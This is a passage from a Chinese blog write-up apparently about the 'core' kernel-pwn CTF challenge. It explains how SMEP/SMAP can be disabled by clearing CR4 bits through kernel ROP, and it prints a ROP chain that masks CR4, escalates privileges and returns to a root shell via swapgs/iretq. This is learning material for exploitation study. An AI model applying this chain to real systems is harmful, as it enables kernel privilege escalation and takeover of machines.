  • Intel下系统根据CR4控制寄存器的第20位标识是否开启SMEP保护(1为开启,0为关闭),若是能够通过kernel ROP改变CR4寄存器的值便能够关闭SMEP保护,完成SMEP-bypass,接下来就能够重新进行 ret2usr,但对于开启了 KPTI 的内核而言,内核页表的用户地址空间无执行权限,这使得 ret2usr 彻底成为过去式

利用

在添加了这两个保护之后,内核空间将不能直接访问/执行用户空间的数据,但我们可以尝试bypass。

Intel 下系统根据 CR4 控制寄存器的第 20、21 位标识是否开启 SMEP、SMAP 保护(1为开启,0为关闭),若是能够改变 CR4 寄存器的值便能够关闭 SMEP/SMAP 保护,完成 SMAP/SMEP-bypass,接下来就能够重新进行 ret2usr

我们只需要找到对应的gadget来控制CR4寄存器即可,bypass后执行ret2usr的ROP链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
for(i = 0; i < 10; i++)	
chain[i] = canary;
chain[i++] = MOV_RAX_CR4_ADD_RSP_8_POP_RBX_RET + offset;
chain[i++] = 0;
chain[i++] = 0;
chain[i++] = POP_RSI_RDI_RET + offset;
chain[i++] = 0;
chain[i++] = 0;
chain[i++] = POP_RDX_RET + offset;
chain[i++] = 0xffffffffffcfffff;
chain[i++] = AND_RAX_RDX_ADD_RAX_RSI_RET + offset;
chain[i++] = MOV_CR4_RAX_PUSH_RCX_POPF_RET + offset;

chain[i++] = (size_t)get_root_privilige;
chain[i++] = SWAPGS_POPFQ + offset;
chain[i++] = 0;
chain[i++] = IRETQ + offset;
chain[i++] = (size_t)get_root_shell;
chain[i++] = user_cs;
chain[i++] = user_rflags;
chain[i++] = user_sp;
chain[i++] = user_ss;
  • Title: kernel入门(1)之core
  • Author: Static
  • Created at : 2024-03-10 16:39:31
  • Updated at : 2024-03-10 16:38:27
  • Link: https://staticccccccc.github.io/2024/03/10/kernel pwn/kernel入门(1)之core/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments